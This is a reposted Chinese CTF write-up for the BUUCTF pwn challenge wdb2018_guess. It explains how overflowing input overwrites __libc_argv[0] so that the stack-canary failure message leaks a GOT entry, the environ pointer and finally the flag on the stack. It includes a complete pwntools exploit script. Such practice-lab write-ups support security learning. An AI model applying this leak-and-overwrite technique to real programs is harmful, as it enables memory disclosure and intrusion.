[BUUCTF]PWN——wdb2018

编程入门 行业动态 更新时间:2024-10-25 02:28:42

[<a href=https://www.elefans.com/category/jswz/34/1765501.html style=BUUCTF]PWN——wdb2018"/>

[BUUCTF]PWN——wdb2018

wdb2018_guess

  1. 例行检查,64位程序,开启了canary和nx
  2. 本地试运行一下,看看大概的情况
  3. 64位ida载入

    存在溢出利用点,但是有canary保护,这边39行和41行的puts函数是写死的,没法用来接收泄露的信息,想到了利用canary的报错输出
    在程序加了 carry 保护后,如果我们的输入覆盖了 carry ,程序就会报错,报错代码如下,可以看到,程序会执行 __stack_chk_fail 函数来打印 __libc_argv[0] 指针所指向的字符串(默认存储的是程序的名称),所以我们只要覆盖 __libc_argv[0] 为我们想要泄漏的地址,就能泄露对应的内容。这种利用方法详细看这个视频,空降坐标107:52
void __attribute__ ((noreturn)) __stack_chk_fail (void)
{__fortify_fail ("stack smashing detected");
}
void __attribute__ ((noreturn)) internal_function __fortify_fail (const char *msg)
{/* The loop is added only to keep gcc happy.  */while (1)__libc_message (2, "*** %s ***: %s terminated\n",msg, __libc_argv[0] ?: "<unknown>");
}

利用思路

  1. 首先计算输入与 __libc_argv[0] 的偏移,通过栈溢出覆盖 __libc_argv[0] 为 put_got 地址,这样就能泄露 libc 地址。
  2. 通过 libc 地址计算 enviorn 地址(enviorn 是环境变量表,里面包含栈地址),将 __libc_argv[0] 覆盖为 enviorn 地址即可泄露栈地址。
  3. flag 是存储在栈上,计算 enviorn 与 flag 的偏移,将 __libc_argv[0] 覆盖为 flag 的地址即可泄露 flag 。

利用过程

  1. 寻找输入点与_libc_argv[0]的偏移

    他们之间的距离是0xdee8-0xddc0=0x128
    0x7fffffffdee8指向的是_libc_argv[0],_libc_argv[0]里存储的是我们的程序名,这边显示不全,显示全了是这样的
  2. 接着利用栈溢出将这个地方覆盖成puts@got来泄露libc
payload='a'*0x128 + p64(puts_got)
p.sendlineafter('Please type your guessing flag',payload)
p.recvuntil('stack smashing detected ***: ')
puts_addr = u64(p.recv(6).ljust(8,'\x00'))
libc = LibcSearcher('puts',puts_addr)
  1. 计算 enviorn 地址(enviorn 是环境变量表,里面包含栈地址),将 __libc_argv[0] 覆盖为 enviorn 地址即可泄露栈地址。如何从libc地址得到栈地址这里面就详细写了这个函数
libc_base = puts_addr - libc.dump('puts')
environ_addr = libc_base + libc.dump('__environ')
print 'environ_addr=',hex(environ_addr)payload='a'*0x128 + p64(environ_addr)
p.sendlineafter('Please type your guessing flag',payload)p.recvuntil('stack smashing detected ***: ')
stack_addr = u64(p.recv(6).ljust(8,'\x00'))
  1. 获得栈地址后,找一下它跟flag地址的偏移,将 __libc_argv[0] 覆盖为flag地址即可
    动调的时候输入x/a _environ即可获取当前environ的地址,

    search flag即可获取flag在栈上的地址,

    计算一下偏移:0x7ffe4e6a7ea8-0x7ffe4e6a7d40=0x168

完整exp

#coding:utf8
from pwn import *
from LibcSearcher import *p = process('./GUESS')
#p = remote('node3.buuoj',28998)
elf = ELF('./GUESS')
puts_got = elf.got['puts']
context.log_level="debug"#泄露puts地址
payload='a'*0x128 + p64(puts_got)
p.sendlineafter('Please type your guessing flag',payload)
p.recvuntil('stack smashing detected ***: ')
puts_addr = u64(p.recv(6).ljust(8,'\x00'))
libc=ELF('./libc-2.23(64).so')libc_base = puts_addr - libc.sym['puts']
environ_addr = libc_base + libc.sym['__environ']
print 'environ_addr=',hex(environ_addr)#泄露栈地址
payload='a'*0x128 + p64(environ_addr)
p.sendlineafter('Please type your guessing flag',payload)p.recvuntil('stack smashing detected ***: ')
stack_addr = u64(p.recv(6).ljust(8,'\x00'))
print 'stack_addr=',hex(stack_addr)
gdb.attach(p)
flag_addr = stack_addr - 0x168
print 'flag_addr=',hex(flag_addr)
#泄露flag
payload='a'*0x128 + p64(flag_addr)
p.sendlineafter('Please type your guessing flag',payload)p.interactive()

更多推荐

[BUUCTF]PWN——wdb2018

本文发布于:2024-03-11 16:29:52,感谢您对本站的认可!
本文链接:https://www.elefans.com/category/jswz/34/1729398.html
版权声明:本站内容均来自互联网,仅供演示用,请勿用于商业和其他非法用途。如果侵犯了您的权益请与我们联系,我们将在24小时内删除。
本文标签:BUUCTF   PWN

发布评论

评论列表 (有 0 条评论)
草根站长

>www.elefans.com

编程频道|电子爱好者 - 技术资讯及电子产品介绍!